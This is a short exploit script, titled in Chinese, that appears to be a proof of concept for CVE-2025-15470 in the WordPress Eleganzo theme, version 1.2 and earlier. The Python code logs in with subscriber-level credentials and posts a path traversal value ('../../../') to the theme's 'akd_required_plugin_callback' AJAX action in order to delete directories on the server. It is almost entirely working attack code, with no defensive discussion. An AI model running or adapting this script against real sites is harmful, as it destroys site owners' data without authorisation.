CVE-2025-15470 WordPress Eleganzo主题任意目录删除漏洞

import requests # Exploit Title: WordPress Eleganzo Theme <= 1.2 - Arbitrary Directory Deletion # CVE: CVE-2025-15470 target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber level is sufficient) username = "attacker" password = "password" # 1. Authenticate and get session cookie session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'wp-submit': 'Log In' } session.post("http://example.com/wp-login.php", data=login_payload) # 2. Prepare payload to delete arbitrary directory # The function 'akd_required_plugin_callback' expects a path parameter # Using '../' to traverse out of the WordPress directory exploit_data = { 'action': 'akd_required_plugin_callback', 'path': '../../../' # Attempting to delete parent directories } # 3. Send exploit request response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if the target directory has been deleted.") else: print("[-] Exploit failed.")